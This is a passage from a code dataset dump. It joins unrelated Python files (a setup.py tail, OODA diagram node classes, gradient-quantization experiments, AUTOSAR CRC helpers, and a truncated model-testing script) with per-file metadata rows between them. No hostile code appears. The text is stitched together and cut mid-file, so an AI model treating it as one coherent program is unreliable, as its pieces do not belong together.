<drdr.xp@gmail.com>\n\n# Copyright and License\n\nThe MIT License (MIT)\n\nCopyright (c) 2015 Zhang Yanpo (张炎泼) <drdr.xp@gmail.com>\n\n\n[pykit3]: https://github.com/pykit3',
long_description_content_type="text/markdown",
author='Zhang Yanpo',
author_email='drdr.xp@gmail.com',
url='https://github.com/pykit3/k3num',
keywords=['human', 'readable', 'number', 'digit', 'integer'],
python_requires='>=3.0',
install_requires=['k3ut~=0.1.15'],
classifiers=[
'Development Status :: 4 - Beta',
'Intended Audience :: Developers',
'Topic :: Software Development :: Libraries',
] + ['Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: Implementation :: PyPy'],
)
| 181.541667 | 3,459 | 0.61625 | 634 | 4,357 | 4.198738 | 0.287066 | 0.020286 | 0.045079 | 0.056349 | 0.474455 | 0.441397 | 0.421112 | 0.421112 | 0.360255 | 0.345229 | 0 | 0.181698 | 0.132201 | 4,357 | 23 | 3,460 | 189.434783 | 0.522349 | 0.013541 | 0 | 0 | 1 | 0.333333 | 0.728352 | 0.043063 | 0 | 0 | 0.019553 | 0 | 0 | 1 | 0 | true | 0 | 0.047619 | 0 | 0.047619 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
9d1fadb5e6bad451d8028b469f39f8093f452837 | 5,286 | py | Python | src/ooda_flow_diagram/ooda/basic.py | sabi2345/ooda_flow_diagram | f6ccc7ea5987d30910479240379bd8976d3202fc | [
"MIT"
] | null | null | null | src/ooda_flow_diagram/ooda/basic.py | sabi2345/ooda_flow_diagram | f6ccc7ea5987d30910479240379bd8976d3202fc | [
"MIT"
] | null | null | null | src/ooda_flow_diagram/ooda/basic.py | sabi2345/ooda_flow_diagram | f6ccc7ea5987d30910479240379bd8976d3202fc | [
"MIT"
] | null | null | null | from typing import Union
from ooda_flow_diagram import Node
from ooda_flow_diagram.ooda import OodaNodeAttr
class MajorTarget(Node):
_ds_attr = OodaNodeAttr(
subject="Major Target", shape="tripleoctagon", style='filled', fixedsize='false',
fillcolor="#354093:#354093", gradientangle="225",
labelloc='t', height="0.75", width="0.5", line_length=40,
font_color="white", color="#354093", peripheries="3")
def __init__(self, label: Union[str, list], line_length: int = None, line_mark: str = "dot",
subject: str = 'Major Target'):
super().__init__(label=label, line_length=line_length, line_mark= line_mark, subject=subject)
class Target(Node):
_ds_attr = OodaNodeAttr(
subject="Target", shape="doubleoctagon", style='filled', fixedsize='false',
fillcolor="#354093:#354093", gradientangle="225",
labelloc='t', height="0.75", width="0.5", line_length=40,
font_color="white", color="#354093", peripheries="2")
def __init__(self, label: Union[str, list], line_length: int = None, line_mark: str = "dot",
subject: str = 'Target'):
super().__init__(label=label, line_length=line_length, line_mark= line_mark, subject=subject)
class MajorPrerequisite(Node):
_ds_attr = OodaNodeAttr(
subject="MajorPrerequisite", shape="tripleoctagon", style='filled', fixedsize='false',
fillcolor="#1E88A8:#006284", gradientangle="225",
labelloc='t', height="0.75", width="0.5", line_length=40,
font_color="white", color="#1E88A8", peripheries="3")
def __init__(self, label: Union[str, list], line_length: int = None, line_mark: str = "dot",
subject: str = 'MajorPrerequisite'):
super().__init__(label=label, line_length=line_length, line_mark= line_mark, subject=subject)
class Prerequisite(Node):
_ds_attr = OodaNodeAttr(
subject="Prequisite", shape="doubleoctagon", style='filled', fixedsize='false',
fillcolor="#1E88A8:#006284", gradientangle="225",
labelloc='t', height="0.75", width="0.5", line_length=40,
font_color="white", color="#1E88A8", peripheries="2")
def __init__(self, label: Union[str, list], line_length: int = None, line_mark: str = "dot",
subject: str = 'Prerequisite'):
super().__init__(label=label, line_length=line_length, line_mark= line_mark, subject=subject)
class ActCells(Node):
_ds_attr = OodaNodeAttr(
subject="ToDo", subject2="Output", subject3="ByWhen", shape="record", style='solid,filled', margin="0.1",
fixedsize='false', method="actcell1",
fillcolor= "#c2e6f9:#c2e6f9", gradientangle="225",
labelloc='c', height="0.5", width="0.6", line_length=40,
font_color="#000b00", color="#383c3c", penwidth="1.0", peripheries="2")
def __init__(self, todo="", output="", bywhen="", who="", first_subject: str = "", second_subject: str = "",
third_subject: str = "",
line_length: int = None, line_mark: str = "dot", line_mark2: str = "dot", line_mark3: str = "dot",
output_url: str = None):
super().__init__(label=todo, label2=output, label3={'bywhen': bywhen, 'who': who}, subject=first_subject,
subject2=second_subject, subject3=third_subject,
line_length=line_length, line_mark=line_mark, line_mark2=line_mark2,
line_mark3=line_mark3, url=output_url)
class ActTable(Node):
_ds_attr = OodaNodeAttr(
subject="ToDo", subject2="Output", subject3="ByWhen", shape="record", style='filled', margin="0",
fixedsize='false', method="acttable",
fillcolor="#c2e6f9:#c2e6f9", gradientangle="225",
labelloc='c', height="0.5", width="2.0", line_length=40,
font_color="#000b00", color="#383c3c", penwidth="1.0", peripheries="2")
def __init__(self, todo="", output="", bywhen="", who="", first_subject: str = "", second_subject: str = "",
third_subject: str = "",
line_length: int = None, todo_mark: str = "point", output_mark: str = "point",
output_url: str = None, completed_date: str = "", progress: str = ""):
super().__init__(label=todo, label2=output,
label3={'bywhen': bywhen, 'who': who, 'completed_date': completed_date, 'progress': progress},
subject=first_subject, subject2=second_subject, subject3=third_subject,
line_length=line_length, line_mark=todo_mark, line_mark2=output_mark,
url=output_url)
class Result(Node):
_ds_attr = OodaNodeAttr(
subject="", shape="box", style='rounded,filled', margin="0.1",
fixedsize='false',
fillcolor="#3B74BF:#3B74BF", gradientangle="225",
labelloc='c', height="0.5", width="0.6", line_length=40,
font_color="white", color="#005CAF", peripheries="2",
)
def __init__(self, label: Union[str, list] = "", subject: str = "",
line_length: int = None, line_mark: str = "dot", output_url: str = None):
super().__init__(label=label, subject=subject, line_length=line_length, line_mark= line_mark, url=output_url) | 51.320388 | 119 | 0.625993 | 624 | 5,286 | 5.046474 | 0.153846 | 0.088917 | 0.062242 | 0.048904 | 0.8047 | 0.758654 | 0.74087 | 0.71483 | 0.71483 | 0.669419 | 0 | 0.049591 | 0.214151 | 5,286 | 103 | 120 | 51.320388 | 0.708474 | 0 | 0 | 0.407407 | 0 | 0 | 0.124645 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.08642 | false | 0 | 0.037037 | 0 | 0.296296 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
19db0224a462659b1a04b3c89fa02cf32d255c33 | 87 | py | Python | nn/embedding/__init__.py | kefirski/attentive-translation | 244f42e8e9c6369b6615480fb9b291bf6a0e3eef | [
"MIT"
] | 16 | 2017-12-08T14:47:44.000Z | 2022-03-24T22:34:29.000Z | nn/embedding/__init__.py | kefirski/attentive-translation | 244f42e8e9c6369b6615480fb9b291bf6a0e3eef | [
"MIT"
] | null | null | null | nn/embedding/__init__.py | kefirski/attentive-translation | 244f42e8e9c6369b6615480fb9b291bf6a0e3eef | [
"MIT"
] | 1 | 2020-08-20T14:20:52.000Z | 2020-08-20T14:20:52.000Z | from .embedding import Embedding
from .positional_embedding import PositionalEmbeddings | 43.5 | 54 | 0.896552 | 9 | 87 | 8.555556 | 0.555556 | 0.38961 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08046 | 87 | 2 | 54 | 43.5 | 0.9625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
19dbaa1fcda88d4265d9eaff31fd56bf79d890eb | 10,881 | py | Python | SimpleMSE/np/convergence_region.py | afshinabdi/DistributedTraining-QCS | 46197b23dc8d8002adcfebbae8653aae6fb77754 | [
"MIT"
] | null | null | null | SimpleMSE/np/convergence_region.py | afshinabdi/DistributedTraining-QCS | 46197b23dc8d8002adcfebbae8653aae6fb77754 | [
"MIT"
] | 1 | 2020-11-26T11:36:58.000Z | 2020-11-27T18:42:57.000Z | SimpleMSE/np/convergence_region.py | afshinabdi/DistributedTraining-QCS | 46197b23dc8d8002adcfebbae8653aae6fb77754 | [
"MIT"
] | null | null | null | import os
import time
import numpy as np
import scipy.io as sio
import regression_model as rm
from hadamard import load_hadamard_matrix
import quantizers.onebit_quantizer as obq
import quantizers.qsg_quantizer as qsg
import quantizers.cs_quantizer as csq
import quantizers.topK_sgd as topkq
output_folder = 'QuantizedCS/SimpleMSE/new'
np.set_printoptions(precision=3, linewidth=80)
batch_size = 32
num_lr = 100
repeat_num = 10
num_iterations = 1000
learning_rates = np.linspace(0, 0.25, num_lr + 1)[1:]
def evaluate_baseline(T, Wopt, file_name):
model = rm.RegressionModel(T, Wopt)
loss = np.zeros((num_lr, repeat_num, num_iterations))
loss2 = np.zeros((num_lr, repeat_num, num_iterations))
for n, lr in enumerate(learning_rates):
start = time.time()
print('\nLearning rate = ', lr, flush=True)
for rp in range(repeat_num):
# create model
model.reset()
info_str = ' '
for cnt in range(num_iterations):
# no quantization of the gradients
g = model.gradient(batch_size)
model.update(g, learning_rate=lr)
cur_loss = model.loss(batch_size=1024)
loss[n, rp, cnt] += cur_loss
loss2[n, rp, cnt] += (cur_loss**2)
if cnt % 10 == 0:
print(' ' * len(info_str), end='\r', flush=True)
if (not np.isfinite(cur_loss)) or (cur_loss > 1e10):
print(' Diverged.', end='\r', flush=True)
break
info_str = ' exp: {0: 2d}, iteration: {1: 4d}, loss={2:.5f}'.format(rp, cnt, cur_loss)
print(info_str, end='\r', flush=True)
print('')
elapsed = time.time() - start
print(' elapsed time = %.3f' % elapsed, flush=True)
sio.savemat(file_name, mdict={
'loss': loss,
'loss2': loss2,
'lr': learning_rates,
})
def evaluate_onebit(T, Wopt, file_name):
model = rm.RegressionModel(T, Wopt)
quantizer = obq.onebit_quantizer()
loss = np.zeros((num_lr, repeat_num, num_iterations))
loss2 = np.zeros((num_lr, repeat_num, num_iterations))
for n, lr in enumerate(learning_rates):
start = time.time()
print('\nLearning rate = ', lr, flush=True)
for rp in range(repeat_num):
# create model
model.reset()
quantizer.reset()
info_str = ' '
for cnt in range(num_iterations):
# apply one-bit quantization method to the gradients
g = model.gradient(batch_size)
gh = quantizer.quantize(g)
model.update(gh, learning_rate=lr)
cur_loss = model.loss(batch_size=1024)
loss[n, rp, cnt] += cur_loss
loss2[n, rp, cnt] += (cur_loss**2)
if cnt % 10 == 0:
print(' ' * len(info_str), end='\r', flush=True)
if (not np.isfinite(cur_loss)) or (cur_loss > 1e10):
print(' Diverged.', end='\r', flush=True)
break
info_str = ' exp: {0: 2d}, iteration: {1: 4d}, loss={2:.5f}'.format(rp, cnt, cur_loss)
print(info_str, end='\r', flush=True)
print('')
elapsed = time.time() - start
print(' elapsed time = %.3f' % elapsed, flush=True)
sio.savemat(file_name, mdict={
'loss': loss,
'loss2': loss2,
'lr': learning_rates,
})
def evaluate_qsgd(T, Wopt, file_name, bucket_size, num_levels):
# create model
model = rm.RegressionModel(T, Wopt)
quantizer = qsg.qsg_quantizer(bucket_size, num_levels)
loss = np.zeros((num_lr, repeat_num, num_iterations))
loss2 = np.zeros((num_lr, repeat_num, num_iterations))
for n, lr in enumerate(learning_rates):
start = time.time()
print('\nLearning rate = ', lr, flush=True)
for rp in range(repeat_num):
model.reset()
quantizer.reset()
info_str = ' '
for cnt in range(num_iterations):
# apply qsgd quantization method to the gradients
g = model.gradient(batch_size)
gh = quantizer.quantize(g)
model.update(gh, learning_rate=lr)
cur_loss = model.loss(batch_size=1024)
loss[n, rp, cnt] += cur_loss
loss2[n, rp, cnt] += (cur_loss**2)
if cnt % 10 == 0:
print(' ' * len(info_str), end='\r', flush=True)
if (not np.isfinite(cur_loss)) or (cur_loss > 1e10):
print('Diverged.', end='\r', flush=True)
break
info_str = ' exp: {0: 2d}, iteration: {1: 4d}, loss={2:.5f}'.format(rp, cnt, cur_loss)
print(info_str, end='\r', flush=True)
print('')
elapsed = time.time() - start
print(' elapsed time = %.3f' % elapsed, flush=True)
sio.savemat(file_name, mdict={
'loss': loss,
'loss2': loss2,
'lr': learning_rates,
})
def evaluate_topksgd(T, Wopt, file_name, K):
model = rm.RegressionModel(T, Wopt)
quantizer = topkq.topk_quantizer(K)
loss = np.zeros((num_lr, repeat_num, num_iterations))
loss2 = np.zeros((num_lr, repeat_num, num_iterations))
for n, lr in enumerate(learning_rates):
start = time.time()
print('\nLearning rate = ', lr, flush=True)
for rp in range(repeat_num):
# create model
model.reset()
quantizer.reset()
info_str = ' '
for cnt in range(num_iterations):
# apply qsgd quantization method to the gradients
g = model.gradient(batch_size)
gh = quantizer.quantize(g)
model.update(gh, learning_rate=lr)
cur_loss = model.loss(batch_size=1024)
loss[n, rp, cnt] += cur_loss
loss2[n, rp, cnt] += (cur_loss**2)
if cnt % 10 == 0:
print(' ' * len(info_str), end='\r', flush=True)
if (not np.isfinite(cur_loss)) or (cur_loss > 1e10):
print('Diverged.', end='\r', flush=True)
break
info_str = ' exp: {0: 2d}, iteration: {1: 4d}, loss={2:.5f}'.format(rp, cnt, cur_loss)
print(info_str, end='\r', flush=True)
print('')
elapsed = time.time() - start
print(' elapsed time = %.3f' % elapsed, flush=True)
sio.savemat(file_name, mdict={
'loss': loss,
'loss2': loss2,
'lr': learning_rates,
})
def evaluate_qcssgd(T, Wopt, file_name, H, num_levels, feedback, beta):
model = rm.RegressionModel(T, Wopt)
quantizer = csq.cs_quantizer(H, num_levels, feedback, beta)
loss = np.zeros((num_lr, repeat_num, num_iterations))
loss2 = np.zeros((num_lr, repeat_num, num_iterations))
for n, lr in enumerate(learning_rates):
start = time.time()
print('\nLearning rate = ', lr, flush=True)
for rp in range(repeat_num):
model.reset()
quantizer.reset()
info_str = ' '
for cnt in range(num_iterations):
# apply qsgd quantization method to the gradients
g = model.gradient(batch_size)
gh = quantizer.quantize(g)
model.update(gh, learning_rate=lr)
cur_loss = model.loss(batch_size=1024)
loss[n, rp, cnt] += cur_loss
loss2[n, rp, cnt] += (cur_loss**2)
if cnt % 10 == 0:
print(' ' * len(info_str), end='\r', flush=True)
if (not np.isfinite(cur_loss)) or (cur_loss > 1e10):
print('Diverged.', end='\r', flush=True)
break
info_str = ' exp: {0: 2d}, iteration: {1: 4d}, loss={2:.5f}'.format(rp, cnt, cur_loss)
print(info_str, end='\r', flush=True)
print('')
elapsed = time.time() - start
print(' elapsed time = %.3f' % elapsed, flush=True)
sio.savemat(file_name, mdict={
'loss': loss,
'loss2': loss2,
'lr': learning_rates,
})
def compare_algorithms():
M, N = 64, 32
min_eig = 1
max_eig = 4
fname = os.path.join(output_folder, 'model.mat')
if os.path.exists(fname):
data = sio.loadmat(fname)
Wopt = data['Wo']
T = data['T']
R = data['R']
else:
T, R = rm.create_transformation(M, min_eig, max_eig)
Wopt = np.random.normal(0, 1, size=(M, N))
sio.savemat(fname, mdict={'Wo': Wopt, 'T': T, 'R': R})
print('_' * 40)
print('Evaluating baseline...')
fname = os.path.join(output_folder, 'baseline.mat')
evaluate_baseline(T, Wopt, file_name=fname)
print('_' * 40)
print('Evaluating 1-bit...')
fname = os.path.join(output_folder, 'one_bit.mat')
evaluate_onebit(T, Wopt, file_name=fname)
print('_' * 40)
print('Evaluating QSGD...')
fname = os.path.join(output_folder, 'qsgd.mat')
evaluate_qsgd(T, Wopt, file_name=fname, bucket_size=512, num_levels=1)
print('_' * 40)
print('Evaluating Top-k SGD...')
fname = os.path.join(output_folder, 'topk20-sgd.mat')
evaluate_topksgd(T, Wopt, file_name=fname, K=20)
H = load_hadamard_matrix(n=512)
k = 400
Hk = H[:, -k:] * np.sqrt(512) / np.sqrt(k)
print('_' * 40)
print('Evaluating Quantized CS SGD without feedback, all H...')
fname = os.path.join(output_folder, 'qcssgd_nfa.mat')
evaluate_qcssgd(T, Wopt, file_name=fname, H=H, num_levels=1, feedback=False, beta=0)
print('_' * 40)
print('Evaluating Quantized CS SGD with feedback, all H...')
fname = os.path.join(output_folder, 'qcssgd_wfa.mat')
evaluate_qcssgd(T, Wopt, file_name=fname, H=H, num_levels=1, feedback=True, beta=0.1)
print('_' * 40)
print('Evaluating Quantized CS SGD without feedback, partial H...')
fname = os.path.join(output_folder, 'qcssgd_nf{}_2.mat'.format(k))
evaluate_qcssgd(T, Wopt, file_name=fname, num_levels=2, H=Hk, feedback=False, beta=0)
print('_' * 40)
print('Evaluating Quantized CS SGD with feedback, partial H...')
fname = os.path.join(output_folder, 'qcssgd_wf{}(0.1)_2.mat'.format(k))
evaluate_qcssgd(T, Wopt, file_name=fname, H=Hk, num_levels=2, feedback=True, beta=.1)
# import seaborns as sns
# ax = sns.tsplot(time="timepoint", value="BOLD signal",
# unit="subject", condition="ROI",
# data=...)
if __name__ == '__main__':
print('Running numpy version...')
compare_algorithms()
| 34.324921 | 106 | 0.554177 | 1,388 | 10,881 | 4.18732 | 0.131124 | 0.036132 | 0.020647 | 0.03097 | 0.809532 | 0.796111 | 0.725052 | 0.71903 | 0.718858 | 0.670853 | 0 | 0.024654 | 0.310358 | 10,881 | 316 | 107 | 34.433544 | 0.749867 | 0.039886 | 0 | 0.699153 | 0 | 0 | 0.101697 | 0.004505 | 0 | 0 | 0 | 0 | 0 | 1 | 0.025424 | false | 0 | 0.042373 | 0 | 0.067797 | 0.20339 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c20465e5ab52171f40279ee93a7a846b40273c1d | 13 | py | Python | intro.py | tergh/ctcuc22 | aaff09c2762aaf70c8d50999c17109cf34055158 | [
"MIT"
] | null | null | null | intro.py | tergh/ctcuc22 | aaff09c2762aaf70c8d50999c17109cf34055158 | [
"MIT"
] | null | null | null | intro.py | tergh/ctcuc22 | aaff09c2762aaf70c8d50999c17109cf34055158 | [
"MIT"
] | null | null | null | print(3**2)
| 6.5 | 12 | 0.538462 | 3 | 13 | 2.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 0.153846 | 13 | 1 | 13 | 13 | 0.454545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
c22253f17b192640a4888539adf503acf92ac835 | 5,802 | py | Python | cantools/autosar/end_to_end.py | malneni/cantools | b9958577c0f616c28c7fa37a2d2b491478e065ba | [
"MIT"
] | 117 | 2021-10-30T15:40:09.000Z | 2022-03-31T12:21:47.000Z | cantools/autosar/end_to_end.py | malneni/cantools | b9958577c0f616c28c7fa37a2d2b491478e065ba | [
"MIT"
] | 63 | 2021-10-31T17:12:07.000Z | 2022-03-30T13:36:00.000Z | cantools/autosar/end_to_end.py | malneni/cantools | b9958577c0f616c28c7fa37a2d2b491478e065ba | [
"MIT"
] | 50 | 2021-10-19T04:41:37.000Z | 2022-03-25T07:55:30.000Z | # Utilities for calculating the CRC of the AUTOSAR end-to-end
# protection specification
import crccheck # type: ignore
from ..database.can.message import Message
from typing import Union, List, Optional
def compute_profile2_crc(payload : Union[bytes, bytearray],
msg_or_data_id: Union[int, Message]) -> Optional[int]:
"""Compute the CRC checksum for profile 2 of the AUTOSAR end-to-end
protection specification.
data_id is the data ID to be used. If it is unspecified, it is
determined from the message's ``autosar.e2e.data_ids`` attribute.
"""
if len(payload) < 2:
# Profile 2 E2E protection requires at least 2 bytes
return None
protected_len = None
data_id = None
if isinstance(msg_or_data_id, Message):
msg = msg_or_data_id
if msg.autosar is None or \
msg.autosar.e2e is None or \
msg.autosar.e2e.data_ids is None or \
len(msg.autosar.e2e.data_ids) != 16:
# message is not end-to-end protected using profile 2
return None
assert msg.autosar is not None
assert msg.autosar.e2e is not None
assert msg.autosar.e2e.data_ids is not None
protected_len = msg.autosar.e2e.payload_length
seq_counter = (payload[1]&0xf0) >> 4
data_id = msg.autosar.e2e.data_ids[seq_counter]
else:
protected_len = len(payload)
data_id = msg_or_data_id
# create the data to be checksumed
crc_data = bytearray(payload[1:protected_len])
# append data id
crc_data += bytearray([ data_id ])
# do the actual work
return int(crccheck.crc.Crc8Autosar().calc(crc_data))
def apply_profile2_crc(payload : Union[bytes, bytearray],
msg_or_data_id: Union[int, Message]) \
-> Optional[bytearray]:
"""Compute the CRC checksum for profile 2 of the AUTOSAR end-to-end
protection specification and apply it to an encoded payload.
If the message is passed, this function also takes care of special
cases like the message not being end-to-end protected or being a
secured frame.
"""
crc = compute_profile2_crc(payload, msg_or_data_id)
if crc is None:
return None
result = bytearray(payload)
result[0] = crc
return result
def check_profile2_crc(payload : Union[bytes, bytearray],
msg_or_data_id: Union[int, Message]) -> Optional[bool]:
"""Check if the AUTOSAR E2E checksum for profile 2 of the AUTOSAR
end-to-end protection specification is correct.
If a message is not end-to-end protected by profile 2, ``False`` is
returned.
"""
crc = compute_profile2_crc(payload, msg_or_data_id)
if crc is None:
return None
crc2 = payload[0]
return crc == crc2
def compute_profile5_crc(payload : Union[bytes, bytearray],
msg_or_data_id: Union[int, Message]) -> Optional[int]:
"""Compute the CRC checksum for profile 5 of the AUTOSAR end-to-end
protection specification.
data_id is the data ID to be used. If it is unspecified, it is
determined from the message's ``autosar.e2e.data_ids`` attribute.
"""
if len(payload) < 4:
# Profile 5 E2E protection requires at least 4 bytes
return None
protected_len = None
data_id = None
if isinstance(msg_or_data_id, Message):
msg = msg_or_data_id
if msg_or_data_id.autosar is None or \
msg_or_data_id.autosar.e2e is None or \
msg_or_data_id.autosar.e2e.data_ids is None or \
len(msg_or_data_id.autosar.e2e.data_ids) != 1:
# message is not end-to-end protected using profile 5
return None
assert msg.autosar is not None
assert msg.autosar.e2e is not None
assert msg.autosar.e2e.data_ids is not None
protected_len = msg.autosar.e2e.payload_length
data_id = msg.autosar.e2e.data_ids[0]
else:
protected_len = len(payload)
data_id = msg_or_data_id
# we assume that the "offset" parameter given in the specification
# is always 0...
result = crccheck.crc.Crc16Autosar().calc(payload[2:protected_len],
initvalue=0xffff)
# deal with the data id
result = crccheck.crc.Crc16Autosar().calc(bytearray([data_id&0xff]),
initvalue=result)
result = crccheck.crc.Crc16Autosar().calc(bytearray([(data_id>>8)&0xff]),
initvalue=result)
return int(result)
def apply_profile5_crc(payload : Union[bytes, bytearray],
msg_or_data_id: Union[int, Message]) \
-> Optional[bytearray]:
"""Compute the AUTOSAR E2E checksum for profile 5 of the AUTOSAR
end-to-end protection specification and apply it to an encoded
payload.
If the message is passed, this function also takes care of special
cases like the message not being end-to-end protected or being a
secured frame.
"""
crc = compute_profile5_crc(payload, msg_or_data_id)
if crc is None:
return None
result = bytearray(payload)
result[0] = crc&0xff
result[1] = (crc>>8)&0xff
return result
def check_profile5_crc(payload : Union[bytes, bytearray],
msg_or_data_id: Union[int, Message]) -> Optional[bool]:
"""Check if the AUTOSAR E2E checksum for profile 5 of the AUTOSAR
end-to-end protection specification is correct.
If a message is not end-to-end protected by profile 5, ``False`` is
returned.
"""
crc = compute_profile5_crc(payload, msg_or_data_id)
if crc is None:
return None
crc2 = payload[0] + (payload[1]<<8)
return crc == crc2
| 31.704918 | 79 | 0.646846 | 822 | 5,802 | 4.424574 | 0.143552 | 0.05774 | 0.049491 | 0.060489 | 0.825681 | 0.782238 | 0.77344 | 0.759142 | 0.71405 | 0.661259 | 0 | 0.019696 | 0.273699 | 5,802 | 182 | 80 | 31.879121 | 0.843379 | 0.319028 | 0 | 0.606742 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006855 | 0 | 0.067416 | 1 | 0.067416 | false | 0 | 0.033708 | 0 | 0.258427 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c236a35d4532bcedc4e77ec6d5a8918ccac5959d | 144 | py | Python | tests/test_init.py | falken20/primazon | 40258412fd40339bd745e20c322e123de2a80eb7 | [
"MIT"
] | null | null | null | tests/test_init.py | falken20/primazon | 40258412fd40339bd745e20c322e123de2a80eb7 | [
"MIT"
] | 11 | 2022-02-28T11:53:58.000Z | 2022-03-29T12:08:08.000Z | tests/test_init.py | falken20/primazon | 40258412fd40339bd745e20c322e123de2a80eb7 | [
"MIT"
] | null | null | null | import src
def test_get_version():
assert src.__version__ == "1.2.0"
def test_get_name():
assert src.__package_name__ == "primazon"
| 14.4 | 45 | 0.694444 | 21 | 144 | 4.142857 | 0.619048 | 0.16092 | 0.229885 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025424 | 0.180556 | 144 | 9 | 46 | 16 | 0.711864 | 0 | 0 | 0 | 0 | 0 | 0.090278 | 0 | 0 | 0 | 0 | 0 | 0.4 | 1 | 0.4 | true | 0 | 0.2 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
dfaeff6b37faa4ef7f54296e4da975e284945e38 | 109 | py | Python | py2store/paths.py | i2mint/py2store | 1b8ccb21cdff6ffb269460eebbe813cc471be748 | [
"MIT"
] | 10 | 2019-03-04T15:02:15.000Z | 2020-09-16T11:57:30.000Z | py2store/paths.py | i2mint/py2store | 1b8ccb21cdff6ffb269460eebbe813cc471be748 | [
"MIT"
] | 60 | 2019-08-08T14:38:56.000Z | 2021-04-08T15:19:11.000Z | py2store/paths.py | i2mint/py2store | 1b8ccb21cdff6ffb269460eebbe813cc471be748 | [
"MIT"
] | 10 | 2019-08-08T03:15:35.000Z | 2020-06-18T16:19:18.000Z | """Forwards to dol.paths:
Module for path (and path-like) object manipulation
"""
from dol.paths import *
| 13.625 | 51 | 0.715596 | 16 | 109 | 4.875 | 0.8125 | 0.205128 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.165138 | 109 | 7 | 52 | 15.571429 | 0.857143 | 0.688073 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dff4cb76addc17f308803caf83f9a022229f7abb | 2,503 | py | Python | models/gai_model.py | mstubbemann/LG4AV | 68d487c3d8a9b53039a2644a9bfdc44446a6fded | [
"MIT"
] | 2 | 2021-10-04T11:50:08.000Z | 2021-11-25T12:45:33.000Z | models/gai_model.py | mstubbemann/LG4AV | 68d487c3d8a9b53039a2644a9bfdc44446a6fded | [
"MIT"
] | null | null | null | models/gai_model.py | mstubbemann/LG4AV | 68d487c3d8a9b53039a2644a9bfdc44446a6fded | [
"MIT"
] | null | null | null | from .model import test_model
"""
Create and evaluate the LG4AV(-2), LG4AV-0 and LG4AV-F
models on the GAI data set.
"""
if __name__ == "__main__":
print("##################")
print("##################")
print("##################")
print("Make GAI testing")
print("Make freezed testing")
result = test_model(source_train="data/gai/train_per_author.csv",
source_val="data/gai/val_per_author.csv",
source_test="data/gai/test_per_author.csv",
destination="data/gai/model/tests/freeze/network-results.csv",
bert_string="bert-base-uncased",
tokenizer_string="bert-base-uncased",
dir="data/gai/model/tests/freeze/",
dropout=0.1,
k=2,
lr=2e-5,
weight_decay=0.01,
train_bert=False,
graph="data/gai/graph.adjlist",
features="data/gai/base_features/bert-768/cls/embedding.npy",
batch_size=4,
accumulate_grad_batches=4,
epochs=3,
gpus=1,
num_workers=0)
print(result)
for k in [0, 2]:
print("##################")
print("##################")
print("Start for k=", k)
result = test_model(source_train="data/gai/train_per_author.csv",
source_val="data/gai/val_per_author.csv",
source_test="data/gai/test_per_author.csv",
destination="data/gai/model/tests/" + str(k) + "/network-results.csv",
bert_string="bert-base-uncased",
tokenizer_string="bert-base-uncased",
dir="data/gai/model/tests/" + str(k) + "/",
dropout=0.1,
k=k,
